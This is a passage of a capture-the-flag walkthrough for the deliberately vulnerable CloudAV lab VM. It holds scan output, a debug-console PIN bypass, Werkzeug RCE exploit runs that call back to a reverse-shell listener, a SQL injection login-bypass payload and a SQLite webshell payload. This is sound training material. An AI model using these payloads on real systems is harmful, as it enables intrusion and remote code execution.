-
Notifications
You must be signed in to change notification settings - Fork 9
/
Copy pathVulnHub CloudAV (Beginner)
2278 lines (1870 loc) · 99.9 KB
/
VulnHub CloudAV (Beginner)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
696
697
698
699
700
701
702
703
704
705
706
707
708
709
710
711
712
713
714
715
716
717
718
719
720
721
722
723
724
725
726
727
728
729
730
731
732
733
734
735
736
737
738
739
740
741
742
743
744
745
746
747
748
749
750
751
752
753
754
755
756
757
758
759
760
761
762
763
764
765
766
767
768
769
770
771
772
773
774
775
776
777
778
779
780
781
782
783
784
785
786
787
788
789
790
791
792
793
794
795
796
797
798
799
800
801
802
803
804
805
806
807
808
809
810
811
812
813
814
815
816
817
818
819
820
821
822
823
824
825
826
827
828
829
830
831
832
833
834
835
836
837
838
839
840
841
842
843
844
845
846
847
848
849
850
851
852
853
854
855
856
857
858
859
860
861
862
863
864
865
866
867
868
869
870
871
872
873
874
875
876
877
878
879
880
881
882
883
884
885
886
887
888
889
890
891
892
893
894
895
896
897
898
899
900
901
902
903
904
905
906
907
908
909
910
911
912
913
914
915
916
917
918
919
920
921
922
923
924
925
926
927
928
929
930
931
932
933
934
935
936
937
938
939
940
941
942
943
944
945
946
947
948
949
950
951
952
953
954
955
956
957
958
959
960
961
962
963
964
965
966
967
968
969
970
971
972
973
974
975
976
977
978
979
980
981
982
983
984
985
986
987
988
989
990
991
992
993
994
995
996
997
998
999
1000
=========================================================================
Walkthrough of the BoredHackerBlog CloudAV VulnHub VM CTF
=========================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb + Burp)
Step 2. Gaining access
2.1. Log into the Website
> Option a. The value of the 'invite code' is disclosed in an error message if we enter a payload like ";
> Option b. Exploit a simple SQL injection vulnerability to bypass the authentication in the 'login' page
> Option c. Bruteforce the 'invite code' field (trivial valid value = pasword)
2.2. Exploit an OS command injection vulnerability in the 'scan' page
2.3. Obtain a reverse shell with the account 'scanner'
Other options/notes:
-------------------
> The username 'scanner' is disclosed in the 'scan' page and since the SSH service is not filtered we can perform a bruteforce attack
and discover that its password is scanner (login=password). Then log into the Linux server with the creds.
> A werkzeug python debugging interface is reachable and may be used to get a remote shell however I did not managed to exploit it and got 405 and 404 error messages.
(Note: the 'pin code' protection is a 'client-side' control that can be bypassed by simply deleting a few Javascript lines in the HTTP responses)
Step 3. Post-exploitation - Linux enumeration (Manual + LinEnum.sh + Linux-exploit-suggester.sh)
Step 4. Privilege escalation to root
An SUID root binary 'update_cloudav' is vulnerable to an OS command injection
=> OS command execution as ROOT
===================================================================================================================================
Step 1. Scanning & Enumeration (Nmap + Nikto + Dirb + Burp)
===================================================================================================================================
jeff@kali:~/Documents/CTFs$ sudo nmap -Pn -sS -sV -p- sC -v 192.168.1.5
Starting Nmap 7.80 ( https://nmap.org ) at 2020-04-25 01:57 CEST
NSE: Loaded 45 scripts for scanning.
Failed to resolve "sC".
Initiating ARP Ping Scan at 01:57
Scanning 192.168.1.5 [1 port]
Completed ARP Ping Scan at 01:57, 0.05s elapsed (1 total hosts)
Initiating Parallel DNS resolution of 1 host. at 01:57
Completed Parallel DNS resolution of 1 host. at 01:57, 0.00s elapsed
Initiating SYN Stealth Scan at 01:57
Scanning 192.168.1.5 [65535 ports]
Discovered open port 8080/tcp on 192.168.1.5
Discovered open port 22/tcp on 192.168.1.5
Completed SYN Stealth Scan at 01:57, 15.59s elapsed (65535 total ports)
Initiating Service scan at 01:57
Scanning 2 services on 192.168.1.5
Completed Service scan at 01:57, 6.20s elapsed (2 services on 1 host)
NSE: Script scanning 192.168.1.5.
Initiating NSE at 01:57
Completed NSE at 01:57, 0.14s elapsed
Initiating NSE at 01:57
Completed NSE at 01:57, 0.01s elapsed
Nmap scan report for 192.168.1.5
Host is up (0.00018s latency).
Not shown: 65533 closed ports
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4 (Ubuntu Linux; protocol 2.0)
8080/tcp open http Werkzeug httpd 0.14.1 (Python 2.7.15rc1)
MAC Address: 08:00:27:F4:CF:9F (Oracle VirtualBox virtual NIC)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 22.60 seconds
Raw packets sent: 66077 (2.907MB) | Rcvd: 66077 (2.643MB)
======================================================================================================
jeff@kali:~/Documents/CTFs$ nikto -h http://192.168.1.5:8080
- Nikto v2.1.6
---------------------------------------------------------------------------
+ Target IP: 192.168.1.5
+ Target Hostname: 192.168.1.5
+ Target Port: 8080
+ Start Time: 2020-04-25 02:04:16 (GMT2)
---------------------------------------------------------------------------
+ Server: Werkzeug/0.14.1 Python/2.7.15rc1
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect against some forms of XSS
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ Allowed HTTP Methods: HEAD, OPTIONS, GET
+ OSVDB-3092: /console: This might be interesting...
+ ERROR: Error limit (20) reached for host, giving up. Last error: invalid HTTP response
+ Scan terminated: 11 error(s) and 5 item(s) reported on remote host
+ End Time: 2020-04-25 02:05:29 (GMT2) (73 seconds)
---------------------------------------------------------------------------
+ 1 host(s) tested
======================================================================================================
jeff@kali:~/Documents/CTFs$ dirb http://192.168.1.5:8080
-----------------
DIRB v2.22
By The Dark Raver
-----------------
START_TIME: Sat Apr 25 02:12:28 2020
URL_BASE: http://192.168.1.5:8080/
WORDLIST_FILES: /usr/share/dirb/wordlists/common.txt
-----------------
GENERATED WORDS: 4612
---- Scanning URL: http://192.168.1.5:8080/ ----
+ http://192.168.1.5:8080/console (CODE:200|SIZE:1985)
+ http://192.168.1.5:8080/login (CODE:405|SIZE:178)
+ http://192.168.1.5:8080/output (CODE:405|SIZE:178)
+ http://192.168.1.5:8080/scan (CODE:200|SIZE:48)
-----------------
END_TIME: Sat Apr 25 02:13:15 2020
DOWNLOADED: 4612 - FOUND: 4
======================================================================================================
Burp proxy
======================================================================================================
GET /console HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1985
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 00:05:40 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Console // Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css"
type="text/css">
<!-- We need to make sure this has a favicon so that the debugger does
not by accident trigger a request to /favicon.ico which might
change the application state. -->
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=jquery.js"></script>
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script type="text/javascript">
var TRACEBACK = -1,
CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "3g3phTEmejEAzd3eMcyH";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application. The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>
<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
</html>
----------------------------------------------
GET /console HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 1504
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 00:12:55 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Console // Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css"
type="text/css">
<!-- We need to make sure this has a favicon so that the debugger does
not by accident trigger a request to /favicon.ico which might
change the application state. -->
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=jquery.js"></script>
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script type="text/javascript">
var TRACEBACK = -1,
CONSOLE_MODE = true,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "3g3phTEmejEAzd3eMcyH";
</script>
</head>
<body style="background-color: #fff">
<div class="debugger">
<h1>Interactive Console</h1>
<div class="explanation">
In this console you can execute Python expressions in the context of the
application. The initial namespace was created by the debugger automatically.
</div>
<div class="console"><div class="inner">The Console requires JavaScript.</div></div>
<div class="footer">
Brought to you by <strong class="arthur">DON'T PANIC</strong>, your
friendly Werkzeug powered traceback interpreter.
</div>
</div>
</html>
I edited the HTTP response above with Burp proxy and deleted the following piece of code:
-----------------------------------------------------------------------------------------
<div class="pin-prompt">
<div class="inner">
<h3>Console Locked</h3>
<p>
The console is locked and needs to be unlocked by entering the PIN.
You can find the PIN printed out on the standard output of your
shell that runs the server.
<form>
<p>PIN:
<input type=text name=pin size=14>
<input type=submit name=btn value="Confirm Pin">
</form>
</div>
</div>
</body>
=> I have now acces to a Python debug Web console "werkzeug traceback interpreter"
jeff@kali:~/Documents/CTFs/CloudAV$ searchsploit Werkzeug
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Exploit Title | Path (/usr/share/exploitdb/)
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Werkzeug - 'Debug Shell' Command Execution | exploits/multiple/remote/43905.py
Werkzeug - Debug Shell Command Execution (Metasploit) | exploits/python/remote/37814.rb
--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Shellcodes: No Result
jeff@kali:~/Documents/CTFs/CloudAntivirus$ wget https://raw.githubusercontent.com/its-arun/Werkzeug-Debug-RCE/master/werkzeug.py
--2020-04-25 02:40:24-- https://raw.githubusercontent.com/its-arun/Werkzeug-Debug-RCE/master/werkzeug.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1043 (1.0K) [text/plain]
Saving to: ‘werkzeug.py’
werkzeug.py 100%[=============================================================================================================>] 1.02K --.-KB/s in 0s
2020-04-25 02:40:24 (41.0 MB/s) - ‘werkzeug.py’ saved [1043/1043]
jeff@kali:~/Documents/CTFs/CloudAntivirus$ chmod +x werkzeug.py
jeff@kali:~/Documents/CTFs/CloudAntivirus$ ./werkzeug.py 192.168.1.5:8080 id
[+] SECRET is: 3g3phTEmejEAzd3eMcyH
[+] Script will try executing id on 192.168.1.5:8080
Press any key to execute
[+] response from server
status code: 404
response: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
---------------------------------------------------------------
msf5 exploit(multi/http/werkzeug_debug_rce) > options
Module options (exploit/multi/http/werkzeug_debug_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI /console yes URI to the console
VHOST no HTTP server virtual host
Exploit target:
Id Name
-- ----
0 werkzeug 0.10 and older
msf5 exploit(multi/http/werkzeug_debug_rce) > set rhosts 192.168.1.5
rhosts => 192.168.1.5
msf5 exploit(multi/http/werkzeug_debug_rce) > set rport 8080
rport => 8080
msf5 exploit(multi/http/werkzeug_debug_rce) > run
[*] Started reverse TCP handler on 192.168.1.22:4444
[*] Exploit completed, but no session was created.
jeff@kali:~/Documents/CTFs/CloudAntivirus$ wget https://raw.githubusercontent.com/Fare9/PyWerkzeug-Debug-Command-Execution/master/exploit_werkzeug.py
--2020-04-25 05:54:14-- https://raw.githubusercontent.com/Fare9/PyWerkzeug-Debug-Command-Execution/master/exploit_werkzeug.py
Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.120.133
Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.120.133|:443... connected.
HTTP request sent, awaiting response... 200 OK
Length: 1802 (1.8K) [text/plain]
Saving to: ‘exploit_werkzeug.py’
exploit_werkzeug.py 100%[=============================================================================================================>] 1.76K --.-KB/s in 0s
2020-04-25 05:54:14 (23.1 MB/s) - ‘exploit_werkzeug.py’ saved [1802/1802]
jeff@kali:~/Documents/CTFs/CloudAntivirus$ ls -al
total 136
drwxr-xr-x 2 jeff jeff 4096 Apr 25 05:54 .
drwxr-xr-x 25 jeff jeff 4096 Apr 25 01:55 ..
-rw-r--r-- 1 root root 454 Apr 25 04:25 Burp-SQLi
-rwxr-xr-x 1 jeff jeff 1802 Apr 25 05:54 exploit_werkzeug.py
-rw-r--r-- 1 jeff jeff 115352 Apr 25 05:52 Walkthrough-CloudAntivirus
-rwxr-xr-x 1 jeff jeff 1043 Apr 25 02:40 werkzeug.py
jeff@kali:~/Documents/CTFs/CloudAntivirus$ ./exploit_werkzeug.py 192.168.1.5 192.168.1.22 1234
USAGE: python ./exploit_werkzeug.py <ip> <port> <your ip> <netcat port>
jeff@kali:~/Documents/CTFs/CloudAntivirus$ ./exploit_werkzeug.py 192.168.1.5 8080 192.168.1.22 1234
[+] SECRET is: euOQhKfcZjQRyk1zU8kf
[+] Sending reverse shell to 192.168.1.5:8080, please remember you have to use netcat listening in 192.168.1.22:1234
PRESS ENTER TO EXPLOIT
[+] response from server
status code: 404
response: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 3.2 Final//EN">
<title>404 Not Found</title>
<h1>Not Found</h1>
<p>The requested URL was not found on the server. If you entered the URL manually please check your spelling and try again.</p>
===================================================================================================================================
Step 2. Gaining access
===================================================================================================================================
2.1. Log into the Website
===================================================================================================================================
> Option a. The value of the 'invite code' is disclosed in a error message if we enter a payload like ";
-----------------------------------------------------------------------------------------------------------------------------------
POST http://192.168.1.5:8080/login HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 11
Connection: close
Upgrade-Insecure-Requests: 1
password=";
=> THE Web page displays a verbose SQLite error message "sqlite3.OperationalError - OperationalError: unrecognized token: """"" "
HTTP/1.0 500 INTERNAL SERVER ERROR
Content-Type: text/html; charset=utf-8
X-XSS-Protection: 0
Connection: close
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 05:13:38 GMT
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<title>Warning: You can only execute one statement at a time. // Werkzeug Debugger</title>
<link rel="stylesheet" href="?__debugger__=yes&cmd=resource&f=style.css"
type="text/css">
<!-- We need to make sure this has a favicon so that the debugger does
not by accident trigger a request to /favicon.ico which might
change the application state. -->
<link rel="shortcut icon"
href="?__debugger__=yes&cmd=resource&f=console.png">
<script src="?__debugger__=yes&cmd=resource&f=jquery.js"></script>
<script src="?__debugger__=yes&cmd=resource&f=debugger.js"></script>
<script type="text/javascript">
var TRACEBACK = 139636208713040,
CONSOLE_MODE = false,
EVALEX = true,
EVALEX_TRUSTED = false,
SECRET = "euOQhKfcZjQRyk1zU8kf";
<SNIP>
<pre class="line before"><span class="ws"></span>@app.route('/login', methods=['POST'])</pre>
<pre class="line before"><span class="ws"></span>def login():</pre>
<pre class="line before"><span class="ws"> </span>password = request.form['password']</pre>
<pre class="line current"><span class="ws"> </span>if len(c.execute('select * from code where password="' + password + '"').fetchall()) > 0:</pre>
</div>
=> The HTTP response contains the password "password" that can be used to log into the website !!!
> Option b. Exploit a simple SQl injection vulnerability to bypass the authentication in the 'login' page
------------------------------------------------------------------------------------------------------------------
jeff@kali:~/Documents/CTFs/CloudAntivirus$ sudo sqlmap --is-dba -level=3 -risk=3 -r Burp-SQLi --technique=BEUS
[sudo] password for jeff:
___
__H__
___ ___[']_____ ___ ___ {1.4.3#stable}
|_ -| . ['] | .'| . |
|___|_ [']_|_|_|__,| _|
|_|V... |_| http://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 05:40:41 /2020-04-25/
[05:40:41] [INFO] parsing HTTP request from 'Burp-SQLi'
custom injection marker ('*') found in POST body. Do you want to process it? [Y/n/q] Y
[05:40:44] [INFO] testing connection to the target URL
[05:40:44] [INFO] checking if the target is protected by some kind of WAF/IPS
[05:40:44] [INFO] testing if the target URL content is stable
[05:40:45] [INFO] target URL content is stable
[05:40:45] [INFO] testing if (custom) POST parameter '#1*' is dynamic
[05:40:45] [WARNING] (custom) POST parameter '#1*' does not appear to be dynamic
[05:40:45] [WARNING] heuristic (basic) test shows that (custom) POST parameter '#1*' might not be injectable
[05:40:45] [INFO] testing for SQL injection on (custom) POST parameter '#1*'
[05:40:45] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[05:40:46] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause'
got a refresh intent (redirect like response common to login pages) to '/scan'. Do you want to apply it from now on? [Y/n] n
[05:40:53] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT)'
[05:40:54] [INFO] (custom) POST parameter '#1*' appears to be 'OR boolean-based blind - WHERE or HAVING clause (NOT)' injectable
[05:40:55] [INFO] heuristic (extended) test shows that the back-end DBMS could be 'SQLite'
<SNIP>
sqlmap identified the following injection point(s) with a total of 288 HTTP(s) requests:
---
Parameter: #1* ((custom) POST)
Type: boolean-based blind
Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
Payload: password=" OR NOT 5471=5471 AND "mYis"="mYis
---
[05:41:29] [INFO] testing SQLite
[05:41:29] [INFO] confirming SQLite
[05:41:29] [INFO] actively fingerprinting SQLite
[05:41:29] [INFO] the back-end DBMS is SQLite
back-end DBMS: SQLite
[05:41:29] [WARNING] on SQLite the current user has all privileges
current user is DBA: True
[05:41:29] [WARNING] HTTP error codes detected during run:
500 (Internal Server Error) - 154 times
[05:41:29] [INFO] fetched data logged to text files under '/root/.sqlmap/output/192.168.1.5'
[*] ending @ 05:41:29 /2020-04-25/
=> The following payload can be used to bypass the authentication: " OR "mYis"="mYis
I could have guessed it since it is a classic payload used to bypass authentication (no need of SQLmap)
POST /login HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOxvw.KkmUT01ED3dH26_-ROVy0IqP7Is
Upgrade-Insecure-Requests: 1
password=%22+OR+%22mYis%22%3D%22mYis
------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 74
Vary: Cookie
Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOyYw.fsUF_D2W3Qb_n5mC5FuuDdGbIqA; HttpOnly; Path=/
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 03:45:39 GMT
Redirecting to /scan. <meta http-equiv="refresh" content="0; url=/scan" />
----------------------------------------------------------------------------------------------------------------------------------------
GET /scan HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOyYw.fsUF_D2W3Qb_n5mC5FuuDdGbIqA
Upgrade-Insecure-Requests: 1
--------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 689
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 03:45:43 GMT
<html>
<body>
<h1>Cloud Anti-Virus Scanner!</h1>
<h3>Try scanning some of these files with our scanner!</h3>
<pre>total 4756
-rwxr-xr-x 1 scanner scanner 1113504 Oct 21 2018 bash
-rwxr-xr-x 1 scanner scanner 34888 Oct 21 2018 bzip2
-rwxr-xr-x 1 scanner scanner 35064 Oct 21 2018 cat
-rw-rw-r-- 1 scanner scanner 68 Oct 21 2018 eicar
-rw-rw-r-- 1 scanner scanner 5 Oct 21 2018 hello
-rwxr-xr-x 1 scanner scanner 35312 Oct 21 2018 netcat
-rwxr-xr-x 1 scanner scanner 3633560 Oct 21 2018 python
</pre>
<form action="/output" method="POST">
<input type="filename" name="filename" placeholder="File Name">
<input type="submit" value="Scan!">
</form>
</body>
</html>
Other - Not tested
-------------------
https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/SQLite%20Injection.md
Remote Command Execution using SQLite command - Attach Database
ATTACH DATABASE '/var/www/lol.php' AS lol;
CREATE TABLE lol.pwn (dataz text);
INSERT INTO lol.pwn (dataz) VALUES ('<?system($_GET['cmd']); ?>');--
> Option c. Bruteforce the 'invite code' field (trivial valid value = pasword)
-----------------------------------------------------------------------------------------------------------------------------------
POST /login HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/
Content-Type: application/x-www-form-urlencoded
Content-Length: 17
Connection: close
Upgrade-Insecure-Requests: 1
password=password
----------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 74
Vary: Cookie
Set-Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSSw.XXMuSC7Sgs7Wr_L9e5Pvs0iQYrM; HttpOnly; Path=/
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 01:28:43 GMT
Redirecting to /scan. <meta http-equiv="refresh" content="0; url=/scan" />
-------------------------------------------------------------------------------------------------
GET /scan HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSSw.XXMuSC7Sgs7Wr_L9e5Pvs0iQYrM
Upgrade-Insecure-Requests: 1
--------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 689
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 01:28:43 GMT
<html>
<body>
<h1>Cloud Anti-Virus Scanner!</h1>
<h3>Try scanning some of these files with our scanner!</h3>
<pre>total 4756
-rwxr-xr-x 1 scanner scanner 1113504 Oct 21 2018 bash
-rwxr-xr-x 1 scanner scanner 34888 Oct 21 2018 bzip2
-rwxr-xr-x 1 scanner scanner 35064 Oct 21 2018 cat
-rw-rw-r-- 1 scanner scanner 68 Oct 21 2018 eicar
-rw-rw-r-- 1 scanner scanner 5 Oct 21 2018 hello
-rwxr-xr-x 1 scanner scanner 35312 Oct 21 2018 netcat
-rwxr-xr-x 1 scanner scanner 3633560 Oct 21 2018 python
</pre>
<form action="/output" method="POST">
<input type="filename" name="filename" placeholder="File Name">
<input type="submit" value="Scan!">
</form>
</body>
</html>
2.2. Identify and exploit an OS command injection vulnerability in the 'scan' page
===================================================================================================================================
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.1.5:8080/scan
Content-Type: application/x-www-form-urlencoded
Content-Length: 9
Connection: close
Cookie: session=eyJsb2dnZWRfaW4iOnRydWV9.XqOSZg.57mt5YvaZ9ZL3xr7vOA2gnSy4aU
Upgrade-Insecure-Requests: 1
filename=
---------------------
HTTP/1.0 200 OK
Content-Type: text/html; charset=utf-8
Content-Length: 318
Vary: Cookie
Server: Werkzeug/0.14.1 Python/2.7.15rc1
Date: Sat, 25 Apr 2020 01:29:51 GMT
<pre>/home/scanner/cloudav_app/database.sql: OK
/home/scanner/cloudav_app/app.py: OK
----------- SCAN SUMMARY -----------
Known viruses: 6838622
Engine version: 0.102.2
Scanned directories: 1
Scanned files: 2
Infected files: 0
Data scanned: 0.00 MB
Data read: 0.00 MB (ratio 0.00:1)
Time: 30.035 sec (0 m 30 s)
</pre>
----------------------------------------------------------------------------------------------------
POST /output HTTP/1.1
Host: 192.168.1.5:8080
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
